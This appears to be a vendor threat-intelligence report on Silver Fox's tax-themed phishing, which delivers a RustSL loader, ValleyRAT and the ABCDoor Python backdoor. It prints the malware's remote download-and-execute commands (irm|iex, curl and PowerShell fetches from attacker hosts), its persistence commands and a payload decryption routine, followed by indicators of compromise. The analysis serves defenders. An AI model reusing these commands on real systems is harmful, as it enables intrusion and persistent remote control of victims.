Through retrospective analysis, we discovered that the earliest version of ABCDoor (MD5: 5b998a5bc5ad1c550564294034d4a62c) surfaced in late 2024. The backdoor evolved rapidly throughout 2025. The table below outlines the primary stages of its evolution:

Evolution of ABCDoor distribution methods

Although the first version of the backdoor appeared in late 2024, the threat actor likely began using it in attacks around February or March 2025. At that time, the backdoor was distributed using stagers written in C++ and Go:

• • C++ stagerThe file GST Suvidha.exe (MD5: 04194f8ddd0518fd8005f0e87ae96335) downloaded a loader (MD5: f15a67899cfe4decff76d4cd1677c254) from hxxps://mcagov[.]cc/download.php?type=exe. This loader then downloaded the ABCDoor archive from hxxps://abc.fetish-friends[.]com/uploads/appclient.zip, extracted it, and executed it.
  • Go stagerThe file GSTSuvidha.exe (MD5: 11705121f64fa36f1e9d7e59867b0724) executed a remote PowerShell script:
    

    powershell.exe -Command "irm hxxps://abc.fetish-friends[.]com/setup/install | iex"

    
    This script downloaded the ABCDoor archive and launched it.

Later, from May to August 2025, Silver Fox varied their delivery techniques through several methods:

• • • Utilizing TinyURL:Stagers initially queried TinyURL links, which then redirected to the full addresses for downloading the next stage:
      • hxxps://tinyurl[.]com/4nzkync8 -> hxxps://roldco[.]com/api/download/c51bbd17-ef08-4d6c-ab4c-d7bf49483dd6
      • hxxps://tinyurl[.]com/bde63yuu -> hxxps://sudsmama[.]com/api/download/c8ea0a2c-42c2-4159-9337-ee774ed5e7cb
    • Utilizing URLs with arguments formatted as channel=[word_MMDD]:
    • hxxps://abc.fetish-friends[.]com/setup?channel=jiqi_0819
    • hxxps://abc.fetish-friends[.]com/setup/install?channel=whatsapp_0826
    • hxxps://abc.fetish-friends[.]com/setup/install?channel=dianhua-0903

Thanks to these “channel” names, we identified overlaps between ABCDoor and other malicious files likely belonging to Silver Fox. These are NSIS installers featuring the branding of the Ministry of Corporate Affairs of India (responsible for regulating industrial companies and the services sector). These installers establish a connection to the attackers’ server at hxxps://vnc.kcii2[.]com, providing them with remote access to the victim’s device. Below is the list of files we identified:

• • • RemoteInstaller_20250803165259_whatsapp.exe (MD5: 4d343515f4c87b9a2ffd2f46665d2d57)
    • RemoteInstaller_20250806_004447_jiqi.exe (MD5: dfc64dd9d8f776ca5440c35fef5d406e)
    • RemoteInstaller_20250808_174554_dianhua.exe (MD5: eefc28e9f2c0c0592af186be8e3570d2)
    • MCA-Ministry.exe (MD5: 6cf382d3a0eae57b8baaa263e4ed8d00)
    • MCA-Ministry.exe (MD5: 32407207e9e9a0948d167dca96c41d1a)
    • MCA-Ministry.exe (MD5: d17caf6f5d6ba3393a3a865d1c43c3d2)

The file MCA-Ministry.exe (MD5: 32407207e9e9a0948d167dca96c41d1a) was also hosted on one of the servers used by the ABCDoor stagers and was downloaded via TinyURL:

hxxps://tinyurl[.]com/322ccxbf -> hxxps://sudsmama.com/api/download/50e24b3a-8662-4d2f-9837-8cc62aa8f697

Starting in November 2025, the attackers began using a JavaScript loader to deliver ABCDoor. This was distributed via self-extracting (SFX) archives, which were further packaged inside ZIP archives:

• • • CBDT.zip (MD5: 6495c409b59deb72cfcb2b2da983b3bb) (Related material.exe)
    • November Statement.zip (MD5: b500e0a8c87dffe6f20c6e067b51afbf) (BillReceipt.exe)
    • December Statement.zip (MD5: 814032eec3bc31643f8faa4234d0e049) (statement.exe)
    • December Statement.zip (MD5: 90257aa1e7c9118055c09d4a978d4bee) (statement verify .exe)
    • Statement of Account.zip (MD5: f8371097121549feb21e3bcc2eeea522) (Review the file.exe)

The ZIP archives were likely distributed through phishing emails. They contained one of two SFX files: BillReceipt.exe (MD5: 2b92e125184469a0c3740abcaa10350c) or Review the file.exe (MD5: 043e457726f1bbb6046cb0c9869dbd7d), which differed only in their icons.

Icons of the SFX archives

When executed, the SFX archive ran the following script:

SFX archive script

This script launched run_direct.ps1, a PowerShell script contained within the archive.

The run_direct.ps1 script

The run_direct.ps1 script checked for the presence of NodeJS in the standard directory on the victim’s computer (%USERPROFILE%\.node\node.exe). If it was not found, the script downloaded the official NodeJS version 22.19.0, extracted it to that same folder, and deleted the archive. It then executed run.deobfuscated.obf.js – also located in the SFX archive – using the identified (or newly installed) NodeJS, passing two parameters to it: an encrypted configuration string and a XOR key for decryption:

Decrypted configuration for the JS loader

The JS code being executed is heavily obfuscated (likely using obfuscate.io). Upon execution, it writes the channel parameter value from the configuration to the registry at HKCU:\Software\CarEmu:InstallChannel as a REG_SZ type. It then downloads an archive from the link specified in the zipUrl parameter and saves it to %TEMP%\appclient_YYYYMMDDHHMMSS.zip (or /tmp on Linux). The script extracts this archive to the %USERPROFILE%\AppData\Local\appclient directory (%HOME%/AppData/Local/appclient on Linux) and launches it by running cmd /c start /min python/pythonw.exe -m appclient in background mode with a hidden window. After extraction, the script deletes the ZIP archive.

Additionally, the code calls a console logging function after nearly every action, describing the operations in Chinese:

Log fragments gathered from throughout the JS code

Victims

As previously mentioned, Silver Fox RustSL loaders are configured to operate in specific countries: Russia, India, Indonesia, South Africa, and Cambodia. The most recent versions of RustSL have also added Japan to this list. According to our telemetry, users in all of these countries – with the exception of Cambodia – have encountered RustSL. We observed the highest number of attacks in India, Russia, and Indonesia.

The majority of loader samples we discovered were contained within archives with tax-related filenames. Consequently, we can attribute these attacks to a single campaign with a high degree of confidence. That Silver Fox has been sending emails on behalf of the tax authorities in Japan has also been reported by our industry peers.

Conclusion

In the campaign described in this post, attackers exploited user trust in official tax authority communications by disguising malicious files as documents on tax violations. This serves as another reminder of the critical need for vigilance and the thorough verification of all emails, even those purportedly from authoritative sources. We recommend that organizations improve employee security awareness through regular training and educational courses.

During these attacks, we observed the use of both established Silver Fox tools, such as ValleyRAT, and new additions – including a customized version of the RustSL loader and the previously undocumented ABCDoor backdoor. The attackers are also expanding their geographic focus: Russian organizations became a primary target in this campaign, and Japan was added to the supported country list in the malware’s configuration. Theoretically, the group could add other countries to this list in the future.

The Silver Fox group employs a multi-stage approach to payload delivery and utilizes a segmented infrastructure, using different addresses and domains for various stages of the attack. These techniques are designed to minimize the risk of detection and prevent the blocking of the entire attack chain. To identify such activity in a timely manner, organizations should adopt a comprehensive approach to securing their infrastructure.

Detection by Kaspersky solutions

Kaspersky security solutions successfully detect malicious activity associated with the attacks described in this post. Let’s look at several detection methods using Kaspersky Endpoint Detection and Response Expert.

The activity of the malware described in this article can be detected when the command interpreter, while executing commands from a suspicious process, initiates a covert request to external resources to download and install the Node.js interpreter. KEDR Expert detects this activity using the nodejs_dist_url_amsi rule.

Silver Fox activity can also be detected by monitoring requests to external services to determine the host’s network parameters. The attacker performs these actions to obtain the external IP address and analyze the environment. The KEDR Expert solution detects this activity using the access_to_ip_detection_services_from_nonbrowsers rule.

After running the command cmd /c start /min python/pythonw.exe -m appclient, the Silver Fox payload establishes persistence on the system by modifying the value of the UserInitMprLogonScript parameter in the HKCU\Environment registry key. This allows attackers to ensure that malicious scripts run when the user logs in. Such registry manipulations can be detected. The KEDR Expert solution does this using the persistence_via_environment rule.

Indicators of compromise

Network indicators:
ABCDoor C2
45.118.133[.]203:5000
abc.fetish-friends[.]com
abc.3mkorealtd[.]com
abc.sudsmama[.]com
abc.woopami[.]com
abc.ilptour[.]com
abc.petitechanson[.]com
abc.doublemobile[.]com

ABCDoor loader C2s
mcagov[.]cc
roldco[.]com

C2s for malicious remote control utilities
vnc.kcii2[.]com

Distribution servers for phishing PDFs, archives, and encrypted RustSL payloads
abc.haijing88[.]com

ValleyRAT C2
108.187.37[.]85
108.187.42[.]63
207.56.138[.]28

IP addresses
108.187.41[.]221
154.82.81[.]192
139.180.128[.]251
192.229.115[.]229
207.56.119[.]216
192.163.167[.]14
45.192.219[.]60
192.238.205[.]47
45.32.108[.]178
57.133.212[.]106
154.82.81[.]205

Hashes
Phishing PDF files
1AA72CD19E37570E14D898DFF3F2E380
79CD56FC9ABF294B9BA8751E618EC642
0B9B420E3EDD2ADE5EDC44F60CA745A2
6611E902945E97A1B27F322A50566D48
84E54C3602D8240ED905B07217C451CD

SFX archives containing ABCDoor JavaScript loader
2B92E125184469A0C3740ABCAA10350C
043E457726F1BBB6046CB0C9869DBD7D

ZIP archives containing malicious SFX archives
6495C409B59DEB72CFCB2B2DA983B3BB
B500E0A8C87DFFE6F20C6E067B51AFBF
90257AA1E7C9118055C09D4A978D4BEE
F8371097121549FEB21E3BCC2EEEA522
814032EEC3BC31643F8FAA4234D0E049

run.deobfuscated.obf.js
B53E3CC11947E5645DFBB19934B69833

run_direct.ps1
0C3B60FFC4EA9CCCE744BFA03B1A3556

Silver Fox RustSL loaders
039E93B98EF5E329F8666A424237AE73
B6DF7C59756AB655CA752B8A1B20CFFA
5390E8BF7131CAAAA98A5DD63E27B2BC
44299A368000AE1EE9E9E584377B8757
E5E8EF65B4D265BD5FB77FE165131C2F
3279307508F3E5FB3A2420DEC645F583
1020497BEF56F4181AEFB7A0A9873FB4
B23D302B7F23453C98C11CA7B2E4616E
A234850DFDFD7EE128F648F9750DD2C4
4FC5EC1DE89CE3FCDD3E70DB4A9C39D1
A0D1223CA4327AA5F7674BDA8779323F
70AE9CA2A285DA9005A8ACB32DD31ACE
DD0114FFACC6610B5A4A1CB0E79624CC
891DE2FF486A1824F2DB01C1BDF1D2E9
B0E06925DB5416DFC90BABF46402CD6F
AD39A5790B79178D02AC739099B8E1F4
D1D78CD1436991ADB9C005CC7C6B5B98
2C5A1DD4CB53287FE0ED14E0B7B7B1B7
E6362A81991323E198A463A8CE255533
CB3D86E3EC2736EE1C883706FCA172F8
A083C546DC66B0F2A5E0E2E68032F62C
70016DDBCB8543BDB06E0F8C509EE980
8FC911CA37F9F451A213B967F016F1F8
202A5BCB87C34993318CFA3FA0C7ECB0
06130DC648621E93ACB9EFB9FABB9651
F7037CC9A5659D5A1F68E88582242375
8AC5BEE89436B29F9817E434507FEF55
5ED84B2099E220D645934E1FD552AE3A
27A3C439308F5C4956D77E23E1AAD1A9
53B68CA8D7A54C15700CF9500AE4A4E2
1D1F71936DB05F67765F442FEB95F3FD
3C6AEC25EBB2D51E1F16C2EEF181C82A
7F27818E4244310A645984CCC41EA818
A75713F0310E74FFD24D91E5731C4D31
4FC8C78516A8C2130286429686E200ED
3417B9CF7ACB22FAE9E24603D4DE1194
933F1CB8ED2CED5D0DD2877C5EA374E8
B5CA812843570DCF8E7F35CACAB36D4A

ValleyRAT plugins installing ABCDoor
4A5195A38A458CDD2C1B5AB13AF3B393
E66BAE6E8621DB2A835FA6721C3E5BBE

ABCDoor stagers and loaders
04194F8DDD0518FD8005F0E87AE96335
F15A67899CFE4DECFF76D4CD1677C254
11705121F64FA36F1E9D7E59867B0724

Malicious VNC installers used in August 2025 attacks
4D343515F4C87B9A2FFD2F46665D2D57
DFC64DD9D8F776CA5440C35FEF5D406E
EEFC28E9F2C0C0592AF186BE8E3570D2
6CF382D3A0EAE57B8BAAA263E4ED8D00
32407207E9E9A0948D167DCA96C41D1A
D17CAF6F5D6BA3393A3A865D1C43C3D2

ABCDoor .pyd files
13669B8F2BD0AF53A3FE9AC0490499E5
5B998A5BC5AD1C550564294034D4A62C
C50C980D3F4B7ED970F083B0D37A6A6A
DE8F0008B15F2404F721F76FAC34456A
9BF9F635019494C4B70FB0A7C0FB53E4
A543B96B0938DE798DD4F683DD92A94A
FA08B243F12E31940B8B4B82D3498804

In December 2025, we detected a wave of malicious emails designed to look like official correspondence from the Indian tax service. A few weeks later, in January 2026, a similar campaign began targeting Russian organizations. We have attributed this activity to the Silver Fox threat group.

Both waves followed a nearly identical structure: phishing emails were styled as official notices regarding tax audits or prompted users to download an archive containing a “list of tax violations”. Inside the archive was a modified Rust-based loader pulled from a public repository. This loader would download and execute the well-known ValleyRAT backdoor. The campaign impacted organizations across the industrial, consulting, retail, and transportation sectors, with over 1600 malicious emails recorded between early January and early February.

During our investigation, we also discovered that the attackers were delivering a new ValleyRAT plugin to victim devices, which functioned as a loader for a previously undocumented Python-based backdoor. We have named this backdoor ABCDoor. Retrospective analysis reveals that ABCDoor has been part of the Silver Fox arsenal since at least late 2024 and has been utilized in real-world attacks from the first quarter of 2025 to the present day.

Email campaign

In the January campaign, victims received an email purportedly from the tax service with an attached PDF file.

Phishing email sent to victims in Russia

The PDF contained two clickable links to download an archive, both leading to a malicious website: abc.haijing88[.]com/uploads/фнс/фнс.zip.

Contents of the PDF file from the January phishing wave

Contents of the фнс.zip archive

In the December campaign, the malicious code was embedded directly within the files attached to the email.

Phishing email sent to victims in India

The email shown in the screenshot above was sent via the SendGrid cloud platform and contained an archive named ITD.-.rar. Inside was a single executable file, Click File.exe, with an Adobe PDF icon (the RustSL loader).

Contents of ITD.-.rar

Additionally, in late December, emails were distributed with an attachment titled GST.pdf containing two links leading to hxxps://abc.haijing88[.]com/uploads/印度邮箱/CBDT.rar. (印度邮箱 translates from Chinese as “Indian mailbox”).

PDF file from the phishing email

Both versions of the campaign attempt to exploit the perceived importance of tax authority correspondence to convince the victim to download the document and initiate the attack chain. The method of using download links within a PDF is specifically designed to bypass email security gateways; since the attached document only contains a link that requires further analysis, it has a higher probability of reaching the recipient compared to an attachment containing malicious code.

RustSL loader

The attackers utilized a modified version of a Rust-based loader called RustSL, whose source code is publicly available on GitHub with a description in Chinese:

Screenshot of the description from the RustSL loader GitHub project

The description also refers to RustSL as an antivirus bypass framework, as it features a builder with extensive customization options:

• Eight payload encryption methods
• Thirteen memory allocation methods
• Twelve sandbox and virtual machine detection techniques
• Thirteen payload execution methods
• Five payload encoding methods

Furthermore, the original version of RustSL encrypts all strings by default and inserts junk instructions to complicate analysis.

The Silver Fox APT group first began using a modified version of RustSL in late December 2025.

Silver Fox RustSL

This section examines the key changes the Silver Fox group introduced to RustSL. We will refer to this customized version as Silver Fox RustSL to distinguish it from the original.

The steganography.rs module

The attackers added a module named steganography.rs to RustSL. Despite the name, it has little to do with actual steganography; instead, it implements the unpacking logic for the malicious payload.

The usage of the new module within the Silver Fox RustSL code

The threat actors also modified the RustSL builder to support the new format and payload packing.

The attackers employed several methods to deliver the encrypted malicious payload. In December, we observed files being downloaded from remote hosts followed by delivery within the loader itself. Later, the attackers shifted almost entirely to placing the malicious payload inside the same archive as the loader, disguised as a standalone file with extensions like PNG, HTM, MD, LOG, XLSX, ICO, CFG, MAP, XML, or OLD.

Encrypted malicious payload format

The encrypted payload file delivered by the Silver Fox RustSL loader followed this structure:

<RSL_START>rsl_encrypted_payload<RSL_END>

If additional payload encoding was selected in the builder, the loader would decode the data before proceeding with decryption.

The rsl_encrypted_payload followed this specific format:

char sha256_hash[32]; // decrypted payload hash
DWORD enc_payload_len;
WORD sgn_decoder_size;
char sgn_iterations;
char sgn_key;
char decoder[sgn_decoder_size];
char enc_payload[enc_payload_len];

Below is a description of the data blocks contained within it:

• sha256_hash: the hash of the decrypted payload. After decryption, the loader calculates the SHA256 hash and compares it against this value; if they do not match, the process terminates.
• enc_payload_len: the size of the encrypted payload
• sgn_iterations and sgn_key: parameters used for decryption
• sgn_decoder_size and decoder: unused fields
• enc_payload: the primary payload

Notably, the new proprietary steganography.rs module was implemented using the same logic as the public RustSL modules (such as ipv4.rs, ipv6.rs, mac.rs, rc4.rs, and uuid.rs in the decrypt directory). It utilized a similar payload structure where the first 32 bytes consist of a SHA-256 hash and the payload size.

To decrypt the malicious payload, steganography.rs employed a custom XOR-based algorithm. Below is an equivalent implementation in Python:

def decrypt(data: bytes, sgn_key: int, sgn_iterations: int) -> bytes:
    buf = bytearray(data)
    xor_key = sgn_key & 0xFF

    for _ in range(sgn_iterations):
        k = xor_key
        for i in range(len(buf)):
            dec = buf[i] ^ k

            if k & 1:
                k = (dec ^ ((k >> 1) ^ 0xB8)) & 0xFF
            else:
                k = (dec ^ (k >> 1)) & 0xFF

            buf[i] = dec

    return bytes(buf)

The unpacking process consists of the following stages:

1. Extraction of rsl_encrypted_payload.The loader extracts the encrypted payload body located between the <RSL_START> and <RSL_END> markers.
   

   Original file containing the encrypted malicious payload

2. XOR decryption with a hardcoded key.Most loaders used the hardcoded key RSL_STEG_2025_KEY.
3. Payload decoding occurs if the corresponding setting was enabled in the builder.The GitHub version of the builder offers several encoding options: Base64, Base32, Hex, and urlsafe_base64. Silver Fox utilized each option at least once. Base64 was the most frequent choice, followed by Hex and Base32, with urlsafe_base64 appearing in a few samples.
   

   Encrypted malicious payload prior to the final decryption stage

4. Decryption of the final payload using a multi-pass XOR algorithm that modifies the key after each iteration (as demonstrated in the Python algorithm provided above).

The guard.rs module

Another module added to Silver Fox RustSL is guard.rs. It implements various environment checks and country-based geofencing.

In the earliest loader samples from late December 2025, the Silver Fox group utilized every available method for detecting virtual machines and sandboxes, while also verifying if the device was located in a target country. In later versions, the group retained only the geolocation check; however, they expanded both the list of countries allowed for execution and the services used for verification.

The GitHub version of the loader only includes China in its country list. In customized Silver Fox loaders built prior to January 19, 2026, this list included India, Indonesia, South Africa, Russia, and Cambodia. Starting with a sample dated January 19, 2026 (MD5: e6362a81991323e198a463a8ce255533), Japan was added to the list.

To determine the host country, Silver Fox RustSL sends requests to five public services:

• ip-api.com (the GitHub version relies solely on this service)
• ipwho.is
• ipinfo.io
• ipapi.co
• www.geoplugin.net

Phantom Persistence

We discovered that a loader compiled on January 7, 2026 (MD5: 2c5a1dd4cb53287fe0ed14e0b7b7b1b7), began to use the recently documented Phantom Persistence technique to establish persistence. This method abuses functionality designed to allow applications requiring a reboot for updates to complete the installation process properly. The attackers intercept the system shutdown signal, halt the normal shutdown sequence, and trigger a reboot under the guise of an update for the malware. Consequently, the loader forces the system to execute it upon OS startup. This specific sample was compiled in debug mode and logged its activity to rsl_debug.log, where we identified strings corresponding to the implementation of the Phantom Persistence technique:

[unix_timestamp] God-Tier Telemetry Blinding: Deployed via HalosGate Indirect Syscalls.
[unix_timestamp] RSL started in debug mode.
[unix_timestamp] ==========================================
[unix_timestamp]     Phantom Persistence Module (Hijack Mode) 
[unix_timestamp] ==========================================
[unix_timestamp] [*] Calling RegisterApplicationRestart...
[unix_timestamp] [+] RegisterApplicationRestart succeeded.
[unix_timestamp] [*] Note: This API mainly works for application crashes, not for user-initiated shutdowns.
[unix_timestamp] [*] For full persistence, you need to trigger the shutdown hijack logic.
[unix_timestamp] [*] Starting message thread to monitor shutdown events...
[unix_timestamp] [+] SetProcessShutdownParameters (0x4FF) succeeded.
[unix_timestamp] [+] Window created successfully, message loop started.
[unix_timestamp] [+] Phantom persistence enabled successfully.
[unix_timestamp] [*] Hijack logic: Shutdown signal -> Abort shutdown -> Restart with EWX_RESTARTAPPS.
[unix_timestamp] Phantom persistence enabled.
[unix_timestamp] Mouse movement check passed.
[unix_timestamp] IP address check passed.
[unix_timestamp] Pass Sandbox/VM detection.

Attack chain and payloads

During this phishing campaign, Silver Fox utilized two primary methods for delivering malicious archives:

• As an email attachment
• Via a link to an external attacker-controlled website contained within a PDF attachment

We also observed three different ways the payload was positioned relative to the loader:

• Embedded within the loader body
• Hosted on an external website as a PNG image
• Placed within the same archive as the loader

The diagram below illustrates the attack chain using the example of an email containing a PDF file and the subsequent delivery of a malicious payload from an external attacker-controlled website.

Attack chain of the campaign utilizing the RustSL loader

The infection chain begins when the user runs an executable file (the Silver Fox modification of the RustSL loader) disguised with a PDF or Excel icon. RustSL then loads an encrypted payload, which functions as shellcode. This shellcode then downloads an encrypted ValleyRAT (also known as Winos 4.0) backdoor module named 上线模块.dll from the attackers’ server. The filename translates from Chinese as “online-module.dll”, so for the sake of clarity, we’ll refer to it as the Online module.

Beginning of the decrypted payload: shellcode for loading the ValleyRAT (Winos 4.0) Online module

The Online module proceeds to load the core component of ValleyRAT: the Login module (the original filename 登录模块.dll_bin translates from Chinese as “login-module.dll_bin”). This module manages C2 server communication, command execution, and the downloading and launching of additional modules.

The initial shellcode, as well as the Online and Login modules, utilize a configuration located at the end of the shellcode:

End of the decrypted payload: ValleyRAT (Winos 4.0) configuration

The values between the “|” delimiters are written in reverse order. By restoring the correct character sequence, we obtain the following string:

|p1:207.56.138[.]28|o1:6666|t1:1|p2:127.0.0.1|o2:8888|t2:1|p3:127.0.0.1|o3:80|t3:1|dd:1|cl:1|fz:飘诈|bb:1.0|bz:2025.11.16|jp:0|bh:0|ll:0|dl:0|sh:0|kl:0|bd:0|

The key configuration parameters in this string are:

• p#, o#: IP addresses and ports of the ValleyRAT C2 servers in descending order of priority
• bz: the creation date of the configuration

The Silver Fox group has long employed the infection chain described above – from the encrypted shellcode through the loading of the Login module – to deploy ValleyRAT. This procedure and its configuration parameters are documented in detail in industry reports: (1, 2, and 3).

Once the Login module is running, ValleyRAT enters command-processing mode, awaiting instructions from the C2. These commands include the retrieval and execution of various additional modules.

ValleyRAT utilizes the registry to store its configurations and modules:

The ValleyRAT builder leaked in March 2025 contained 20 primary and over 20 auxiliary modules. During this specific phishing campaign, we discovered that after the main module executed, it loaded two previously unseen modules with similar functionality. These modules were responsible for downloading and launching a previously undocumented Python-based backdoor we have dubbed ABCDoor.

Custom ValleyRAT modules

The discovered modules are named 保86.dll and 保86.dll_bin. Their parameters are detailed in the table below.

Of particular note is the PDB path found in all identified modules: C:\Users\Administrator\Desktop\bat\Release\winos4.0测试插件.pdb. In Chinese, 测试插件 translates to “test plugin”, which may suggest that these modules are still in development.

Upon execution, the 保86.dll module determines the host country by querying the same five services used by the guard.rs module in Silver Fox RustSL: ipinfo.io, ip-api.com, ipapi.co, ipwho.is, and geoplugin.net. For the module to continue running, the infected device must be located in one of the following countries:

Countries where the 保86.dll module functions

If the geolocation check passes, the module attempts to download a 52.5 MB archive from a hardcoded address using several methods. The sample with MD5 4a5195a38a458cdd2c1b5ab13af3b393 queried hxxp://154.82.81[.]205/YD20251001143052.zip, while the sample with MD5 e66bae6e8621db2a835fa6721c3e5bbe queried
hxxp://154.82.81[.]205/YN20250923193706.zip.

Interestingly, Silver Fox updated the YD20251001143052.zip archive multiple times but continued to host it on the same C2 (154.82.81[.]205) without changing the filename.

The module implements the following download methods:

1. Using the InternetReadFile function with the User-Agent PythonDownloader
2. Using the URLDownloadToFile function
3. Using PowerShell:
   

   powershell.exe -Command "& {[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; $ProgressPreference = 'SilentlyContinue'; try { Invoke-WebRequest -Uri 'hxxp://154.82.81[.]205/YD20251001143052.zip' -OutFile '$appdata\appclient\111.zip' -UseBasicParsing -TimeoutSec 600 } catch { exit 1 } }"

4. Using curl:
   

   curl.exe -L -o "%LOCALAPPDATA%\appclient\111.zip" "hxxp://154.82.81[.]205/YD20251001143052.zip" --silent --show-error --insecure --max-time 600

The archive was saved to the path %LOCALAPPDATA%\appclient\111.zip.

Contents of the 111.zip archive

The archive is quite large because the python directory contains a Python environment with the packages required to run the previously unknown ABCDoor backdoor (which we will describe in the next section), while the ffmpeg directory includes ffmpeg.exe, a statically linked, legitimate audio/video tool that the backdoor uses for screen capturing.

Once downloaded, the DLL module extracts the archive using COM methods and runs the following command to execute update.bat:

cmd.exe /c "C:\Users\<user>\AppData\Local\appclient\update.bat"

The update.bat script copies the extracted files to C:\ProgramData\Tailscale. This path was chosen intentionally: it corresponds to the legitimate utility Tailscale (a mesh VPN service based on the WireGuard protocol that connects devices into a single private network). By mimicking a VPN service, the attackers likely aim to mask their presence and complicate the analysis of the compromised system.

@echo off
set "script_dir=%~dp0"
set SRC_DIR=%script_dir%
set DES_DIR=C:\ProgramData\Tailscale

rmdir /s /q "%DES_DIR%"
mkdir "%DES_DIR%"
call :recursiveCopy "%SRC_DIR%" "%DES_DIR%"

start "" /B "%DES_DIR%\python\pythonw.exe" -m appclient
exit /b

:recursiveCopy
set "src=%~1"
set "dest=%~2"
if not exist "%dest%" mkdir "%dest%"
for %%F in ("%src%\*") do (
    copy "%%F" "%dest%" >nul
)
for /d %%D in ("%src%\*") do (
    call :recursiveCopy "%%D" "%dest%\%%~nxD"
)
exit /b

start "" /B "%DES_DIR%\python\pythonw.exe" -m appclient

ABCDoor Python backdoor

The primary entry point for the appclient module, the __main__.py file, contains only a few lines of code. These lines are responsible for utilizing the setproctitle library and executing the run function, to which the C2 address is passed as a parameter.

Code for main.py: the module entry point

The setproctitle library is primarily used on Linux or macOS systems to change a displayed process name. However, its functionality is significantly limited on Windows; rather than changing the process name itself, it creates a named object in the format python(<pid>): <proctitle>. For example, for the appclient module, this object would appear as follows:

\Sessions\1\BaseNamedObjects\python(8544): AppClientABC

We believe the use of setproctitle may indicate the existence of backdoor versions for non-Windows systems, or at least plans to deploy it in such environments.

The appclient.core module has a PYD extension and is a DLL file compiled with Cython 3.0.7. This is the core module of the backdoor, which we have named ABCDoor because nearly all identified C2 addresses featured the third-level domain abc.

Upon execution, the backdoor establishes persistence in the following locations:

1. Windows registry: It adds "<path_to_pythonw.exe>" -m appclient to the value HKCU:\Software\Microsoft\Windows\CurrentVersion\Run:AppClient, e.g:
   

   "C:\Users\<username>\AppData\Local\appclient\python\pythonw.exe" -m appclient

   
   Persistence is established by executing the following command:
   

   cmd.exe /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "AppClient" /t REG_SZ /d "\"<path_to_pythonw.exe>\" -m appclient" /f"

2. Task scheduler: The malware executes
   

   cmd.exe /c "schtasks /create /sc minute /mo 1 /tn "AppClient" /tr "<path_to_pythonw.exe> -m appclient" /f"

The command creates a task named “AppClient” that runs every minute.

The backdoor is built on the asyncio and Socket.IO Python libraries. It communicates with its C2 via HTTPS and uses event handlers to processes messages asynchronously. The backdoor follows object-oriented programming principles and includes several distinct classes:

• MainManager: handles C2 connection and authorization (sending system metadata)
• MessageManager: registers and executes message handlers
• AutoStartManager: manages backdoor persistence
• ClientManager: handles backdoor updates and removal
• SystemInfoManager: collects data from the victim’s system, including screenshots
• RemoteControlManager: enables remote mouse and keyboard control via the pynput library and manages screen recording (using the ScreenRecorder child class)
• FileManager: performs file system operations
• KeyboardManager: emulates keyboard input
• ProcessManager: manages system processes
• ClipboardManager: exfiltrates clipboard contents to the C2
• CryptoManager: provides functions for encrypting and decrypting files and directories (currently limited to DPAPI; asymmetric encryption functions lack implementation)
• Utils: auxiliary functions (file upload/download, archive management, error log uploading, etc.)

Backdoor strings with characteristic names

Upon connecting, ABCDoor sends an auth message to the C2 with the following information in JSON format:

"role": "client",
"device_info": {
	 "device_name": device_name,
 	"os_name": os_name,
	"os_version": os_version,
	"os_release": os_release,
	"device_id": device_id,
	"install_channel": "<channel_name_from_registry>", # optional field 
	"first_install_time": "<install_time_from_registry>", # optional field
},
"version": 157 # hard-coded ABCDoor version

The code for retrieving the device identifier (device_id) in the backdoor is somewhat peculiar:

device_id = Utility.get_machine_guid_via_file_func()
device_id = Utility.get_machine_guid_via_reg()

First, the get_machine_guid_via_file_func function attempts to read an identifier from the file %LOCALAPPDATA%\applogs\device.log. If the file does not exist, it is created and initialized with a random UUID4 value. However, immediately after this, the get_machine_guid_via_reg function overwrites the identifier obtained by the first function with the value from HKLM:\SOFTWARE\Microsoft\Cryptography:MachineGuid. This likely indicates a bug in the code.

The primary characteristic of this backdoor is the absence of typical remote control features, such as creating a remote shell or executing arbitrary commands. Instead, it implements two alternative methods for manipulating the infected device:

• Emulating a double click while broadcasting the victim’s screen
• A "file_open" message within the FileManager class, which calls the os.startfile function. This executes a specified file using the ShellExecute function and the default handler for that file extension

For screen broadcasting, the backdoor utilizes a standalone ffmpeg.exe file included in the ABCDoor archive. While early versions could only stream from a single monitor, recent iterations have introduced support for streaming up to four monitors simultaneously using the Desktop Duplication API (DDA). The broadcasting process relies on the screen capture functions RemoteControl::ScreenRecorder::start_single_monitor_ddagrab, RemoteControl::ScreenRecorder::start_multi_monitor_ddagrab, and RemoteControl::ScreenRecorder::test_ddagrab_support. These functions generate a lengthy string of launch arguments for ffmpeg; these arguments account for monitor orientation (vertical or horizontal) and quantity, stitching the data into a single, cohesive stream.

Because ABCDoor runs within a legitimate pythonw.exe process, it can remain hidden on a victim’s system for extended periods. However, its operation involves various interactions with the registry and file system that can be used for detection. Specifically, ABCDoor:

• Writes its initial installation timestamp to the registry value HKCU:\Software\CarEmu:FirstInstallTime
• Creates the directory and file %LOCALAPPDATA%\applogs\device.log to store the victim’s ID
• Logs any exceptions to %LOCALAPPDATA%\applogs\exception_logs.zip. Interestingly, Silver Fox even implemented a Utility::upload_exception_logs function to send this archive to a specified URI, likely to help debug and refine the malware’s performance

Additionally, ABCDoor features self-update and self-deletion capabilities that generate detectable artifacts. Updates are downloaded from a specific URI to %TEMP%\tmpXXXXXXXX\update.zip (where XXXXXXXX represents random alphanumeric characters), extracted to %TEMP%\tmpXXXXXXXX\update, and executed via a PowerShell command:

powershell -Command "Start-Sleep -Seconds 5; Start-Process -FilePath \"%TEMP%\tmpXXXXXXXX\update\update.ps1\" -ArgumentList \"%LOCALAPPDATA%\appclient\" -WindowStyle Hidden"

The existing ABCDoor process is then forcibly terminated.

ABCDoor versions

Through retrospective analysis, we discovered that the earliest version of ABCDoor (MD5: 5b998a5bc5ad1c550564294034d4a62c) surfaced in late 2024. The backdoor evolved rapidly throughout 2025. The table below outlines the primary stages of its evolution:

Evolution of ABCDoor distribution methods

Although the first version of the backdoor appeared in late 2024, the threat actor likely began using it in attacks around February or March 2025. At that time, the backdoor was distributed using stagers written in C++ and Go:

• • C++ stagerThe file GST Suvidha.exe (MD5: 04194f8ddd0518fd8005f0e87ae96335) downloaded a loader (MD5: f15a67899cfe4decff76d4cd1677c254) from hxxps://mcagov[.]cc/download.php?type=exe. This loader then downloaded the ABCDoor archive from hxxps://abc.fetish-friends[.]com/uploads/appclient.zip, extracted it, and executed it.
